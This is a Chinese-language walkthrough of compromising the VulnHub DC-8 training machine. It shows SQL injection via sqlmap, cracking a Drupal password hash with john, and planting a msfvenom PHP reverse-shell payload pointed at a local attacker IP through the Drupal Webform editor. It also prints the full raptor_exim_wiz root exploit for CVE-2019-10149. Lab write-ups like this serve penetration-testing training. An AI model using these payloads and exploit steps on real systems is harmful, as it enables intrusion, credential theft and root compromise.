靶机介绍
DC-8是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。
这个挑战有点复杂,既是实际挑战,又是关于在Linux上安装和配置的两因素身份验证是否可以阻止Linux服务器被利用的“概念证明”。
由于在Twitter上询问了有关双重身份验证和Linux的问题,也由于@ theart42的建议,最终导致了该挑战的“概念验证”部分。
这项挑战的最终目标是绕过两因素身份验证,获得root权限并读取唯一的标志。
下载地址:https://www.vulnhub.com/entry/dc-8,367/
运用的知识点
Drupal 7 SQL注入 john破解HASH Drupal 7 后台编辑页面 Getshell eximSUID本地提权
信息搜集
拿到靶机先对它的 IP 进行端口扫描:
nmap -A -T4 192.168.1.147
图片1 nmap扫描由上图可见,它开放了 22(ssh)、80(http)两个服务端口,而 NMAP 帮我们检测出靶机的 CMS 是 Drupal 7!我寻思DC系列的靶机都是这个CMS?不废话,我们先来看看它的web页面:
http://192.168.1.147/
图片2 web界面Drupal 7 SQL注入
经过在页面上的侦查,我发现有三个页面引起了我的注意:
图片3 引起注意的三个页面他们的参数是 http://192.168.1.147/?nid=1 ,看上去像是一个SQL注入点,于是我手工判断是否存在注入,nid=2-1,结果它返回了nid=1 的页面,说明它存在注入!
图片4 存在注入随后掏出我的SQLMAP神器上去就是一顿梭哈获取到了管理员的账号和加密的HASH:
sqlmap -u 192.168.1.147/?nid=2 -D d7db -T users -C name,pass --dump代码语言:javascript复制Database: d7db
Table: users
[2 entries]
------- ---------------------------------------------------------
| name | pass |
------- ---------------------------------------------------------
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
------- ---------------------------------------------------------
图片5 获取管理员账号以及加密的hashjohn破解HASH
紧接着我用 KALI 自带的 john 开膛手杰克对他们两个密码一一破解!破解 admin 的 HASH 破解不出来:
图片6 john破解admin用户,破解不出破解 john 的密码为 turtle:
图片7 john破解john账户,成功获取到 john 的密码后我用它的密码登陆到了网站后台:
http://192.168.1.147/user
图片8 利用john账户密码登录网站后台Drupal 7 后台编辑页面 Getshell
登陆到网站的后台后我们需要获取到webshell!我在网站的 Webform 找到了可以编辑 PHP 的页面:
图片9 Webform页面
图片10 form setting页面
图片11 可编辑页面这个和 DC-7 靶机有点类似,都是通过后台编辑 PHP 页面来获取到 webshell!我首先是用 MSF 生成了一段 payload:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.128 lport=9999 -f raw
图片12 msf生成php载荷然后开启 MSF 监听模式:
图片13 msf启动监听最后把刚刚 MSF 生成的 Payload 放到网站的 PHP 编辑页面里:
图片14 将msf生成的php载荷放到网站的可编辑php页面中保存到网站的 Contact Us 提交页面:
图片15 保存到网站的contact us提交页面上这个时候 Metasploit 就成功反弹得到了一枚 shell:
图片16 得到反弹的一枚shell先让它切换到 shell 环境 然后使用 Python 得到一个 bash shell:
python -c 'import pty;pty.spawn("/bin/bash")'
图片17 python的bash shell获取到 shell 之后,我切换到 /home 目录发现只有一个用户 dc8user,但是它里面没有什么文件:
图片18 用户dc8userexim本地提权获取Flag
随后我使用 find 命令来查找具有 SUID 权限的文件命令发现了一个 exim4:
(PS:Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。该软件主要运行于类UNIX系统。)
find / -perm -u=s -type f 2>/dev/null
图片19 查找具有SUID权限的文件命令然后我又看了看 exim 的版本发现它的版本是 4.8.9:
exim --version
图片20 查看exim版本得到了软件的版本信息那么我们就可以去到 exploit-db 上去搜索有关于这个软件版本的相关漏洞:
图片21 将相应版本信息放到exploit-db上搜索由上图可见,它由两个 POC,一个是基于 Metasploit 的,一个是其他的!在 OSCP 考试中 Metasploit 只能使用一次,所以说我们不到万不得已尽量就不要使用 Metasploit!这是关于它的介绍和 EXP:
#!/bin/bash
#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).
# Improper validation of recipient address in deliver_message()
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return
# of the WIZard" vulnerability reported by the Qualys Security
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#
METHOD="setuid" # default method
PAYLOAD_SETUID='${run{x2fbinx2fsht-ctx22chowntroottx2ftmpx2fpwnedx3bchmodt4755tx2ftmpx2fpwnedx22}}@localhost'
PAYLOAD_NETCAT='${run{x2fbinx2fsht-ctx22nct-lpt31337t-etx2fbinx2fshx22}}@localhost'
# usage instructions
function usage()
{
echo "$0 [-m METHOD]"
echo
echo "-m setuid : use the setuid payload (default)"
echo "-m netcat : use the netcat payload"
echo
exit 1
}
# payload delivery
function exploit()
{
# connect to localhost:25
exec 3<>/dev/tcp/localhost/25
# deliver the payload
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo "rcpt to:<$PAYLOAD>" >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in {1..31}
do
echo "Received: $i" >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
}
# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo
# parse command line
while [ ! -z "$1" ]; do
case $1 in
-m) shift; METHOD="$1"; shift;;
* ) usage
;;
esac
done
if [ -z $METHOD ]; then
usage
fi
# setuid method
if [ $METHOD = "setuid" ]; then
# prepare a setuid shell helper to circumvent bash checks
echo "Preparing setuid shell helper..."
echo "main(){setuid(0);setgid(0);system("/bin/sh");}" >/tmp/pwned.c
gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
if [ $? -ne 0 ]; then
echo "Problems compiling setuid shell helper, check your gcc."
echo "Falling back to the /bin/sh method."
cp /bin/sh /tmp/pwned
fi
echo
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_SETUID
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
ls -l /tmp/pwned
/tmp/pwned
# netcat method
elif [ $METHOD = "netcat" ]; then
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_NETCAT
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
nc -v 127.0.0.1 31337
# print help
else
usage
fi
图片22 对应版本的exp然后我把 exp 复制到了 root.sh 里,当然你也可以把这个 exp 下载到本地,再由本地上传到靶机服务器里,但是我嫌它麻烦,我直接 vi 编辑进去就可以了:
图片23 将exp写入到root.sh中一切就绪之后先给它一个可执行的权限:
代码语言:javascript复制chmod 777 root.sh
图片24 给予root.sh一个可执行权限按照脚本的提示运行 root.sh :
./root.sh -m netcat
图片25 运行root.sh并获取带有root权限的shell然后 KALI 监听 4444 端口获取到一枚 root 权限的 shell:
图片26 获取flag最终也是在 /root 目录下获取到了 Flag!


